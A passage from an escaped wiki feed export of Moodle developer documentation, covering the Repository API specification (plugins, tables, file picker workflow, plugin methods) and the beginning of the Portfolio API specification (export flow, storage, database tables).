Once a repository has been used the file will usually be copied into Moodle there and then.  However there will also be options to:&lt;br /&gt;
* only return the URL to the file if it&#039;s desired to keep it external (but this does present security and integrity risks), or&lt;br /&gt;
* refresh the local file copy regularly and automatically&lt;br /&gt;
* refresh the file manually if desired&lt;br /&gt;
&lt;br /&gt;
Once in Moodle, it is subject to the [[File API]] for access control like any other file.&lt;br /&gt;
&lt;br /&gt;
==Repository requirements==&lt;br /&gt;
&lt;br /&gt;
From the Moodle point of view, each repository is just a hierarchy of nodes.&lt;br /&gt;
&lt;br /&gt;
The repository MUST provide:&lt;br /&gt;
# A URI to download each node (eg file).&lt;br /&gt;
# A list of the nodes (eg files and directories) under a given node (eg directory).  This allows Moodle to construct a standard browse interface (much like a standard OS file picker).  However some repository plugins may choose to completely override the repository_browse() method and implement their own interface, that&#039;s OK, as long as they end up with a URL for the file.&lt;br /&gt;
&lt;br /&gt;
The repository can OPTIONALLY:&lt;br /&gt;
# Require some authentication credentials &lt;br /&gt;
# Provide more metadata about each node (mime type, size, dates, related files, dublin core stuff, etc)&lt;br /&gt;
# Describe a search facility (so that Moodle can construct a search form)&lt;br /&gt;
# Provide copyright and usage rules (or just information about the rules)&lt;br /&gt;
&lt;br /&gt;
==Repository plugins==&lt;br /&gt;
&lt;br /&gt;
Some plugins I&#039;d like to see developed for the first version are:&lt;br /&gt;
* local - very similar to the current course-based file manager, except user-based&lt;br /&gt;
* moodle - an interface to another Moodle site, accessed over a secure mnet connection&lt;br /&gt;
* jsr170 - an interface that can talk to anything that supports jsr170 (eg [http://www.alfresco.com/ Alfresco])&lt;br /&gt;
* oki - an OKI emulator allowing us to access things with OKI interfaces,like [http://www.fedora.info/ Fedora]&lt;br /&gt;
* briefcase - an interface to [http://briefcase.yahoo.com/ Yahoo Briefcase]&lt;br /&gt;
* myspace - an interface to MySpace files (perhaps via [http://www.programmableweb.com/api/myspace this MySpace API])&lt;br /&gt;
* googledocs - an interface to [http://docs.google.com Google Docs]&lt;br /&gt;
* s3 - an interface to [http://www.amazon.com/gp/browse.html?node=16427261 Amazon S3]&lt;br /&gt;
* skydrive - an interface to Microsoft&#039;s [http://skydrive.live.com/ SkyDrive] files&lt;br /&gt;
* box - an interface to [http://box.net box.net]&lt;br /&gt;
* facebook - an interface to Facebook files&lt;br /&gt;
* merlot - an interface to the learning materials in [http://www.merlot.org/merlot/materials.htm Merlot.org]&lt;br /&gt;
* flickr - an interface to [http://flickr.com flickr]&lt;br /&gt;
* youtube - an interface to [http://youtube.com YouTube]&lt;br /&gt;
* mahara - an interface to a Mahara installation&lt;br /&gt;
* Dspace - a repository from MIT&lt;br /&gt;
* DOOR - another popular open source repository&lt;br /&gt;
* SMB shares - An interface for windows shares e.g. personal folders on network drives. Would need to link with LDAP as usernames will often be wholly/partially the same as network folder names. This could be done using SAMBA, but would also need to work on windows machines natively. See [http://moodle.org/mod/data/view.php?d=13&amp;amp;rid=991 this block] for a linux implementation.&lt;br /&gt;
* WebDAV - to access arbitrary external WebDAV servers&lt;br /&gt;
&lt;br /&gt;
==Tables==&lt;br /&gt;
&lt;br /&gt;
=== repository ===&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;2&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
|&#039;&#039;&#039;Field&#039;&#039;&#039; &lt;br /&gt;
|&#039;&#039;&#039;Type&#039;&#039;&#039; &lt;br /&gt;
|&#039;&#039;&#039;Default&#039;&#039;&#039; &lt;br /&gt;
|&#039;&#039;&#039;Info&#039;&#039;&#039; &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|&#039;&#039;&#039;id&#039;&#039;&#039;&lt;br /&gt;
|int(10)&lt;br /&gt;
|&lt;br /&gt;
|autoincrementing &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|&#039;&#039;&#039;type&#039;&#039;&#039;&lt;br /&gt;
|varchar(255)&lt;br /&gt;
|&lt;br /&gt;
|The type of the repository &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|&#039;&#039;&#039;visible&#039;&#039;&#039;&lt;br /&gt;
|tinyint(1)&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|sortorder&lt;br /&gt;
|int(10)&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== repository_instances ===&lt;br /&gt;
&lt;br /&gt;
This table contains one entry for every configured external repository instance.&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;2&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
|&#039;&#039;&#039;Field&#039;&#039;&#039; &lt;br /&gt;
|&#039;&#039;&#039;Type&#039;&#039;&#039; &lt;br /&gt;
|&#039;&#039;&#039;Default&#039;&#039;&#039; &lt;br /&gt;
|&#039;&#039;&#039;Info&#039;&#039;&#039; &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|&#039;&#039;&#039;id&#039;&#039;&#039;&lt;br /&gt;
|int(10)&lt;br /&gt;
|&lt;br /&gt;
|autoincrementing &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|name&lt;br /&gt;
|varchar 255&lt;br /&gt;
|&lt;br /&gt;
|A custom name for this repository (non-unique)&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|&#039;&#039;&#039;typeid&#039;&#039;&#039; &lt;br /&gt;
|int(10)&lt;br /&gt;
| &lt;br /&gt;
|The id of repository type&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|&#039;&#039;&#039;userid&#039;&#039;&#039; &lt;br /&gt;
|int(10)&lt;br /&gt;
| &lt;br /&gt;
|The person who created this repository instance&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|&#039;&#039;&#039;contextid&#039;&#039;&#039; &lt;br /&gt;
|int(10)&lt;br /&gt;
| &lt;br /&gt;
|The context that this repository is available to ( = system context for site-wide ones)&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|username&lt;br /&gt;
|varchar(255)&lt;br /&gt;
| &lt;br /&gt;
|username to log in with, if required (almost never!)&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|password&lt;br /&gt;
|varchar(255)&lt;br /&gt;
| &lt;br /&gt;
|password to log in with, if required (almost never!)&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|timecreated&lt;br /&gt;
|int(10)&lt;br /&gt;
|&lt;br /&gt;
|The time this repository was created&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|timemodified&lt;br /&gt;
|int(10)&lt;br /&gt;
|&lt;br /&gt;
|The last time the repository was modified&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== repository_instance_config ===&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;2&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
|&#039;&#039;&#039;Field&#039;&#039;&#039; &lt;br /&gt;
|&#039;&#039;&#039;Type&#039;&#039;&#039; &lt;br /&gt;
|&#039;&#039;&#039;Default&#039;&#039;&#039; &lt;br /&gt;
|&#039;&#039;&#039;Info&#039;&#039;&#039; &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|&#039;&#039;&#039;id&#039;&#039;&#039;&lt;br /&gt;
|int(10)&lt;br /&gt;
|&lt;br /&gt;
|autoincrementing &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|&#039;&#039;&#039;instanceid&#039;&#039;&#039;&lt;br /&gt;
|int(int)&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|&#039;&#039;&#039;name&#039;&#039;&#039;&lt;br /&gt;
|varchar(255)&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|value&lt;br /&gt;
|Text&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===File types===&lt;br /&gt;
&lt;br /&gt;
The context at which someone is inserting a file may require certain file types (eg uploading a new user profile image is only looking for images).  &lt;br /&gt;
&lt;br /&gt;
To support this, the calling code needs to be able to specify the required mimetypes, and the listing code should be able to filter the results based on these mimetypes.  Ideally the repository itself can do the filtering for ultimate speed (though not all repositories will support this).&lt;br /&gt;
&lt;br /&gt;
We will have to develop special new mimetypes for Moodle files like backups (application/vnd.moodle.backup) and IMS learning design (application/vnd.moodle.imsld) etc&lt;br /&gt;
&lt;br /&gt;
==Technical walkthrough==&lt;br /&gt;
&lt;br /&gt;
(See also the functional spec for the [[Repository_File_Picker]] )&lt;br /&gt;
&lt;br /&gt;
There are two main cases where the repository API will be used: as part of a Moodleform to add a file and as part of the HTML editor to add a media element into some HTML).  We also have to cater for the using Moodleforms without Javascript.&lt;br /&gt;
&lt;br /&gt;
In all of these cases the files will be uploaded to Moodle while using the file picker dialog and stored in a temporary file area owned by the currently active user.  It is only AFTER the submission of the entire Moodleform that we will know the full context, itemids to store the file properly, so at this time the file will be copied into the correct filearea.&lt;br /&gt;
&lt;br /&gt;
===Case 1: As part of a Moodleform with Javascript===&lt;br /&gt;
&lt;br /&gt;
1. Moodle module code calls a &amp;quot;filepicker&amp;quot; moodleform item whenever a file is required, which includes the following information to pass to the File API:&lt;br /&gt;
&lt;br /&gt;
 eg $mform-&amp;gt;addElement(&#039;filepicker&#039;, &#039;uniqueelementid&#039;, $fullname, $data)&lt;br /&gt;
 &lt;br /&gt;
2. When rendering the form, Moodle will display a read-only filename field with an &#039;&#039;&#039;&amp;quot;Find file&amp;quot;&#039;&#039;&#039; button next to it.  There will also be a hidden field to store a file reference later (this is what actually gets used, the filename field is just for users to see something).&lt;br /&gt;
&lt;br /&gt;
3. When the add file button is pressed, the form will be &amp;quot;replaced&amp;quot; in the page by a larger resizeable area containing an AJAX file picker.  (After picking the display can be closed).   (There could be a user option to make this a popup window instead, if required)&lt;br /&gt;
&lt;br /&gt;
4. The AJAX file picker interface will list all the active repositories as a menu, and list files in one of several formats (like Windows/Mac/Linux): Details, Names, Icons.&lt;br /&gt;
&lt;br /&gt;
5. For each plugin, the AJAX interface will prompt the user to login first (if required) asking the plugin to log in behind the scenes.  It&#039;ll also ask the plugin to return listing data in response to clicks and searches.  &lt;br /&gt;
&lt;br /&gt;
6. Finally, when the user selects a file and clicks the &amp;quot;Select&amp;quot; button, the AJAX interface will trigger a method in the plugin that will fetch the file and call the File Storage API to &#039;&#039;&#039;store&#039;&#039;&#039; the file using the &#039;&#039;&#039;uniqueelementid&#039;&#039;&#039; and the current user info.  While this is happening, the interface should show some sort of progress bar (ideally) or at least a &amp;quot;loading file&amp;quot; image/sign/message.  &lt;br /&gt;
&lt;br /&gt;
7. After a file has finally been selected we will have a file ID which we can pass back to the original Moodle form (to the hidden field named &#039;&#039;&#039;uniqueelementid_formid&#039;&#039;&#039;).  The picker can then rename the read-only filename field before it hides itself.&lt;br /&gt;
&lt;br /&gt;
8. Submitting the form will trigger the mform processing for this field, which will check fields, create things in the module etc.  Once this has been finally successful the developer must call an mform function to &amp;quot;fix&amp;quot; the info for each file and &amp;quot;move&amp;quot; it into the module file area:&lt;br /&gt;
&lt;br /&gt;
  eg $mform-&amp;gt;store_local_file(&#039;uniqueelementid&#039;, $context, $filearename, $itemid, $filepath);&lt;br /&gt;
&lt;br /&gt;
9. Cron jobs in File Storage api should automatically delete any files in the user&#039;s tempfile area that are older than 7 days or move them into a trash can in the user&#039;s file area (perhaps).&lt;br /&gt;
&lt;br /&gt;
===Case 2: As part of a Moodleform without Javascript===&lt;br /&gt;
&lt;br /&gt;
Steps 1-2 are the same as for the case with Javascript.&lt;br /&gt;
&lt;br /&gt;
3. The add file button is a submit button for the form with a different value.  When the add file button is pressed,&lt;br /&gt;
* the whole form will be &#039;&#039;submitted&#039;&#039; to the original location (but with a different submit button value)&lt;br /&gt;
* moodleforms get_data() will detect this is a &amp;quot;repository save&amp;quot; and can save the full POST info in the current session tagged with the id of the openfile element, together with the URL to return to&lt;br /&gt;
* moodleforms get_data() then redirects the user to a new page showing the main picker interface&lt;br /&gt;
&lt;br /&gt;
4. The file picker interface will have to be a completely new and separate interface from the AJAX one.  It could be a long hierarchy listing, or reload a lot.&lt;br /&gt;
&lt;br /&gt;
5. Finally, when the user selects a file and submits using the &amp;quot;Select&amp;quot; button to picker.php, it will trigger a method in the plugin that will fetch the file and call the [[File_API|File API]] to store the file using the filearea and context information we already had.   While this is happening, the interface can show some sort of progress bar (ideally) or at least a &amp;quot;loading file&amp;quot; image/sign/message.&lt;br /&gt;
&lt;br /&gt;
6. After this, picker.php will redirect/continue back to the original form page.  The form can be constructed as usual, however, when the form is rendered using display() method moodleforms should now look for relevant saved content in the session and use that to override any content in the form (and then delete the saved info in the session).&lt;br /&gt;
&lt;br /&gt;
Steps 8-9 are the same as for the case with Javascript.&lt;br /&gt;
&lt;br /&gt;
===Case 3: As part of a HTML editor===&lt;br /&gt;
&lt;br /&gt;
The key thing here is a move away from storing any absolute URLs to files in our HTML texts.  Instead we&#039;ll store relative names.&lt;br /&gt;
&lt;br /&gt;
1. The moodleform for a textarea (HTML editor) will require a path to the filearea associated with this HTML.  eg &#039;&#039;&#039;wwwroot/pluginfile.php/13/content/0/&#039;&#039;&#039;.  This would have to be the user_draft area if the filearea doesn&#039;t exist yet  eg &#039;&#039;&#039;wwwroot/draftfile.php/userid/tempfile/uniquelementid&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
2. All textarea content will also need to have str_replace done on it to replace @@pluginfile@@/somefilenames.jpg in the content to use this path so that it comes up right in the editor.  (Note this also needs to be done on every format_text command too when showing this text.)&lt;br /&gt;
&lt;br /&gt;
3. The path parameter also needs to be added to the editor configuration in the current page.&lt;br /&gt;
&lt;br /&gt;
4. Editor plugins can be modified to look for these variables in the editor configuration.&lt;br /&gt;
&lt;br /&gt;
5. When adding an image or other media element,  the same AJAX repository picker will show up as a popup div to allow people to pick from any repository and choose files to download.  The repository picker is responsible for downloading the file in real-time, storing it as a user temporary file if the filearea doesn&#039;t already exist, prefixing the supplied path to the filename and returning a URL back to the dialog text input before closing.&lt;br /&gt;
&lt;br /&gt;
6. On submission, and after the HTML is stored, we might now have a new permanent filearea, so we&#039;ll need to update any associated temporary files to make sure they have the proper file area information.&lt;br /&gt;
&lt;br /&gt;
==Repository plugins==&lt;br /&gt;
&lt;br /&gt;
Each repository plugin is required to contain the following elements:&lt;br /&gt;
&lt;br /&gt;
===class repository()===&lt;br /&gt;
&lt;br /&gt;
This class implements the interface to a particular repository, for browsing, selecting and updating files.  The base class (repository) is defined in /repository/lib.php, while each repository defines an inherited class (eg repository_alfresco) in /repository/repositoryname/repository.class.php&lt;br /&gt;
&lt;br /&gt;
Repositories can redefine any of these methods as required (and in some instances, MUST redefine them):&lt;br /&gt;
&lt;br /&gt;
====__construct($repositoryid, $contextid, $options=array())====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;MUST&#039;&#039;&#039; redefine&lt;br /&gt;
&lt;br /&gt;
Accept necessary parameters, and do initialization of repository.&lt;br /&gt;
&lt;br /&gt;
====get_file($url)====&lt;br /&gt;
&lt;br /&gt;
Given a URL, download a file from there, save the file in a temporary directory.&lt;br /&gt;
&lt;br /&gt;
====get_listing($parent=&#039;/&#039;, $search=&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;)====&lt;br /&gt;
&lt;br /&gt;
Given a path, and perhaps a search, get a listing of files. In the case of AJAX file picker, this function should return json format Javascript array.&lt;br /&gt;
&lt;br /&gt;
====print_login()====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;MUST&#039;&#039;&#039; redefine&lt;br /&gt;
&lt;br /&gt;
Show the login screen, if required. In the case of AJAX file picker, this function should return json format array which defined the login form.&lt;br /&gt;
&lt;br /&gt;
====print_listing====&lt;br /&gt;
&lt;br /&gt;
Get a listing from get_listing, print it or return HTML code.&lt;br /&gt;
&lt;br /&gt;
====print_search==== &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;MUST&#039;&#039;&#039; redefine&lt;br /&gt;
&lt;br /&gt;
Print the search form&lt;br /&gt;
&lt;br /&gt;
@TODO:&lt;br /&gt;
Think about are we really need it?&lt;br /&gt;
&lt;br /&gt;
====store_login($username, $password, $userid=&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;)====&lt;br /&gt;
&lt;br /&gt;
If you do want to cache login details for various repositories, then use this method.&lt;br /&gt;
&lt;br /&gt;
====cron()====&lt;br /&gt;
&lt;br /&gt;
Defines operations that happen occasionally on cron.&lt;br /&gt;
&lt;br /&gt;
====ajax_info()====&lt;br /&gt;
Return information for creating ajax request&lt;br /&gt;
&lt;br /&gt;
====create()====&lt;br /&gt;
Create an instance&lt;br /&gt;
&lt;br /&gt;
====delete()====&lt;br /&gt;
Delete this instance from `repository` table&lt;br /&gt;
&lt;br /&gt;
====hide()====&lt;br /&gt;
Hide a repository instance from file picker list&lt;br /&gt;
&lt;br /&gt;
====set_option()====&lt;br /&gt;
set options in data1-data5 fields, can be overrided&lt;br /&gt;
&lt;br /&gt;
====get_option()====&lt;br /&gt;
get option list or a specific option from database&lt;br /&gt;
&lt;br /&gt;
====has_admin_config====&lt;br /&gt;
If this plugin need admin settings, please refine this function to return true&lt;br /&gt;
&lt;br /&gt;
====admin_config_form====&lt;br /&gt;
if has_admin_config return true, this function &#039;&#039;&#039;MUST&#039;&#039;&#039; redefine, it will help to build the setting form.&lt;br /&gt;
&lt;br /&gt;
====get_option_names====&lt;br /&gt;
if has_admin_config return true, this function &#039;&#039;&#039;MUST&#039;&#039;&#039; redefine, it will return option names&lt;br /&gt;
&lt;br /&gt;
====more to come====&lt;br /&gt;
&lt;br /&gt;
===icon.png===&lt;br /&gt;
&lt;br /&gt;
A logo that represents the repository.  Ideally square but we should handle all sizes.&lt;br /&gt;
&lt;br /&gt;
==See also==&lt;br /&gt;
&lt;br /&gt;
* [[Repository Administration Specification]]&lt;br /&gt;
* [[Repository Interface for Moodle/Course/User]]&lt;br /&gt;
* [[Repository plugins]]&lt;br /&gt;
* [[Repository File Picker]]&lt;br /&gt;
* [[File API]]&lt;br /&gt;
* [[Portfolio API]]&lt;br /&gt;
* MDL-13766 and MDL-16543 Repository API Meta issues&lt;br /&gt;
&lt;br /&gt;
[[Category:Repositories]]&lt;br /&gt;
&lt;br /&gt;
[[ja:開発:リポジトリAPI]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Portfolio_API&amp;diff=6255</id>
		<title>Portfolio API</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Portfolio_API&amp;diff=6255"/>
		<updated>2008-11-28T16:42:31Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Moodle_2.0}}This page describes the specification for a future feature, currently being worked on for [[Roadmap|Moodle 2.0]].  This spec is STILL UNDER CONSTRUCTION.&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
&lt;br /&gt;
The Portfolio API is a core set of interfaces that all Moodle code will/should use so that we can easily publish files to all kinds of external document repository systems.&lt;br /&gt;
&lt;br /&gt;
It&#039;s important to remember that portfolios are generally treated as WRITE-ONLY.  All we are doing in Moodle is grabbing stuff and pushing it out to somewhere.  Management of the files and further combining/reflecting is done through the native interface provided by the portfolio system.  Reading of files from a repository is handled by the [[Repository API|Repository API]].&lt;br /&gt;
&lt;br /&gt;
A typical user story:&lt;br /&gt;
&lt;br /&gt;
# When portfolios are enabled, every page or major piece of content in Moodle has a little &amp;quot;Save&amp;quot; button beside it.&lt;br /&gt;
# User clicks one of these buttons&lt;br /&gt;
# User is able to choose from a list of configured portfolios (this step will be skipped if there&#039;s only one).&lt;br /&gt;
# User may be asked to define the format of the captured content (eg pdf, IMS LD, HTML, XML ...)&lt;br /&gt;
# User may be asked to define some metadata to go with the captured content (some will be generated automatically).&lt;br /&gt;
# The content and metadata is COPIED to the external portfolio system&lt;br /&gt;
# User has an option to &amp;quot;Return to the page you left&amp;quot; or &amp;quot;Visit their portfolio&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Note this will be just as useful for teachers as for students.&lt;br /&gt;
&lt;br /&gt;
The formatting possibilities will vary depending on the context of the button and the type of external portfolios.  So for example, the &amp;quot;Save&amp;quot; button on the course page would allow the user to capture the whole course in IMS LD or Moodle backup format, which you would not have on a forum page.&lt;br /&gt;
&lt;br /&gt;
==Architecture==&lt;br /&gt;
&lt;br /&gt;
Here is how it will work:&lt;br /&gt;
&lt;br /&gt;
===Plugins and libraries===&lt;br /&gt;
&lt;br /&gt;
There will be one type of plugins &lt;br /&gt;
&lt;br /&gt;
# Portfolio (eg Mahara/Elgg/OSP/Facebook/Download) - this will be portfolio/type/xxx&lt;br /&gt;
&lt;br /&gt;
The transport layer (eg mnet/http/scp/cp/dav etc) or clients (eg box.net/flickr) will be written as libraries, to be shared by both repository and portfolio.&lt;br /&gt;
&lt;br /&gt;
Then there will be different formats that plugins will support (and the part of moodle exporting content must support as well), eg IMS, moodle native, mahara native, pdf, encrypted pdf. These will have good libraries supporting them.&lt;br /&gt;
&lt;br /&gt;
===Admin===&lt;br /&gt;
&lt;br /&gt;
It is important to be allowed to have multiple instances of (some) plugins.  The workflow for adding a new one is:&lt;br /&gt;
&lt;br /&gt;
*Admin navigates to portfolio config&lt;br /&gt;
*Selects from the list of available portfolio plugins, and clicks &#039;add a new external portfolio&#039; (some may be disabled if there is an instance already and the plugin doesn&#039;t support multiple instances)&lt;br /&gt;
*Configure the plugin - select which transport and content types to use if there are multiple supported and installed, urls, authentication keys, etc.&lt;br /&gt;
*Set permissions (maybe) - handled by roles.&lt;br /&gt;
&lt;br /&gt;
This is not necessary for every type of portfolio, because many will just require the user to authenticate directly and if we do ever want to retain settings for each user we just use user preferences.&lt;br /&gt;
&lt;br /&gt;
===Exporting===&lt;br /&gt;
&lt;br /&gt;
*User is viewing a page that calls new portfolio_add_button().  This checks to see if there are any configured portfolio plugin instances, and also (maybe) any permissions related to portfolios, and what the user&#039;s portfolio settings are, and then displays either a single &#039;add to portfolio&#039; button, or a drop down menu of the available systems with the add button.&lt;br /&gt;
*When this button is pressed, the user is redirected to portfolio/add.php, with some post data containing the responsible area (activity module or something like course or blog) callback file and callback arguments, as well as optionally some information about what type of content it is.&lt;br /&gt;
*On this page, the user is presented with a form to enter metadata about the item, and configure any options. At this point if there are multiple formats available for export (based on the intersection of what the plugin and module support), the user can select which format they want.  The plugin and module can both export mform elements for this page.  The user can at this point also select to send the data and wait (with a warning it might take awhile), or queue it for processing if it&#039;s larger.  This is determined by the size of the content to be exported.&lt;br /&gt;
*When the user has submitted the form, they are displayed a summary of what they&#039;re about to export, with &#039;confirm&#039; and &#039;cancel&#039; buttons.  Cancel cancels the request, and cleans up any temporary data, and returns the user to where they came from, while confirm goes to the next step.&lt;br /&gt;
*At any point, the portfolio plugin might need to take control for a step. For example, facebook or flickr might require the user to log in for the first time and confirm moodle is allowed to access their API.&lt;br /&gt;
*When the user has confirmed their summary, a &#039;portfolio_send&#039; event will be triggered.  At this point, one of two things happen.  &lt;br /&gt;
# If the user has elected to wait, the &#039;instant&#039; event is fired, and when the caller gets control again, it displays the status to the user.&lt;br /&gt;
# If the user has elected to queue, the delayed event is fired and the user is notified.&lt;br /&gt;
*The user is given the option to continue to their portfolio, or return to where they were&lt;br /&gt;
*When the event is handled (either through the cron or instant event), the following happens:&lt;br /&gt;
*The event handler is invoked. This reawakens the transfer and defers control to the caller and then the portfolio to prepare and send the package.&lt;br /&gt;
*When this is complete, we return control to the event handler (which, if it&#039;s an &#039;instant&#039; one, will return true to the caller.&lt;br /&gt;
&lt;br /&gt;
===Storage===&lt;br /&gt;
&lt;br /&gt;
Obviously during this process, state is going to be lost between webserver requests and also between user input and event handling. All of the data is stored in the database, in the form of a serialized (and base64 encoded) representation of the exporter, plugin and caller objects.&lt;br /&gt;
&lt;br /&gt;
Files are also going to be written during the preparation stage of the export, and these are stored in a special portfolio area using the new files api.&lt;br /&gt;
&lt;br /&gt;
===Access/Permissions===&lt;br /&gt;
* The calling code is responsible for performing the permission checks necessary before asking to display any button, but during the export the portfolio code will call a check_permissions function on the caller object.&lt;br /&gt;
* I would really like to be able to make some portfolio instances available to some roles but this has fallen out of scope.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Event API===&lt;br /&gt;
&lt;br /&gt;
The portfolio code uses the event api to handle queued events and there is one entry point for this that reawakens the transfer objects and resumes the transfer.  Additionally, portfolio plugins can subscribe to events like any other part of moodle.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Technical==&lt;br /&gt;
&lt;br /&gt;
===Abstract Portfolio Baseclass: portfolio_plugin_base===&lt;br /&gt;
&lt;br /&gt;
Mixes providing some basic functionality by means of its own functions, with a number of abstract functions plugins must implement, and with some functions that plugins can also optionally override.&lt;br /&gt;
&lt;br /&gt;
See also: [[Writing_a_Portfolio_Plugin]] for a full list of all methods you must/can/shouldn&#039;t override, as well as associated instructions for what else you need to do to create a new portfolio plugin&lt;br /&gt;
&lt;br /&gt;
===Abstract Caller Baseclass : portfolio_caller_base===&lt;br /&gt;
&lt;br /&gt;
Whenever somewhere in Moodle wants an &#039;add to portfolio&#039; button, they must subclass this.&lt;br /&gt;
&lt;br /&gt;
See also: [[Adding_a_Portfolio_Button_to_a_page]] for a full list of all methods you must/can/shouldn&#039;t override as well as the associated instructions for how to call portfolio_add_button.&lt;br /&gt;
&lt;br /&gt;
===Database Tables===&lt;br /&gt;
&lt;br /&gt;
The actual information about plugins that are installed is just stored in mdl_config_plugin.&lt;br /&gt;
&lt;br /&gt;
Additionally, as we&#039;re configuring instances of plugins, rather than just one config set per plugin, we&#039;re not using mdl_config_plugin, but instead our own set of tables:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;portfolio_instance:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;2&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
|&#039;&#039;&#039;Field&#039;&#039;&#039;&lt;br /&gt;
|&#039;&#039;&#039;Datatype&#039;&#039;&#039;&lt;br /&gt;
|&#039;&#039;&#039;Comment&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
|id&lt;br /&gt;
|integer&lt;br /&gt;
|sequence&lt;br /&gt;
|-&lt;br /&gt;
|plugin&lt;br /&gt;
|varchar(50)&lt;br /&gt;
|name of plugin (should match directory in portfolio/type)&lt;br /&gt;
|-&lt;br /&gt;
|name&lt;br /&gt;
|varchar(255)&lt;br /&gt;
|name of this plugin instance&lt;br /&gt;
|-&lt;br /&gt;
|visible&lt;br /&gt;
|smallint&lt;br /&gt;
|0 or 1&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;portfolio_instance_config:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;2&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
|&#039;&#039;&#039;Field&#039;&#039;&#039;&lt;br /&gt;
|&#039;&#039;&#039;Datatype&#039;&#039;&#039;&lt;br /&gt;
|&#039;&#039;&#039;Comment&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
|id&lt;br /&gt;
|integer&lt;br /&gt;
|sequence&lt;br /&gt;
|-&lt;br /&gt;
|instance&lt;br /&gt;
|integer&lt;br /&gt;
|(pseudo)fk to portfolio_instance&lt;br /&gt;
|-&lt;br /&gt;
It cannot, however, be responsible for how external systems deal with this case. The different plugins can do what they can. For example, mahara will create new files rather than overwrite. The box.net plugin will try very hard to rename files to avoid collisions. &lt;br /&gt;
|name&lt;br /&gt;
|varchar(255)&lt;br /&gt;
|config name&lt;br /&gt;
|-&lt;br /&gt;
|value&lt;br /&gt;
|text&lt;br /&gt;
|config value&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;portfolio_instance_user:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;2&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
|&#039;&#039;&#039;Field&#039;&#039;&#039;&lt;br /&gt;
|&#039;&#039;&#039;Datatype&#039;&#039;&#039;&lt;br /&gt;
|&#039;&#039;&#039;Comment&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
|id&lt;br /&gt;
|integer&lt;br /&gt;
|sequence&lt;br /&gt;
|-&lt;br /&gt;
|instance&lt;br /&gt;
|integer&lt;br /&gt;
|(pseudo)fk to portfolio_instance&lt;br /&gt;
|-&lt;br /&gt;
|userid&lt;br /&gt;
|integer&lt;br /&gt;
|(pseudo)fk to mdl_user&lt;br /&gt;
|-&lt;br /&gt;
|name&lt;br /&gt;
|varchar(255)&lt;br /&gt;
|config name&lt;br /&gt;
|-&lt;br /&gt;
|value&lt;br /&gt;
|text&lt;br /&gt;
|config value&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
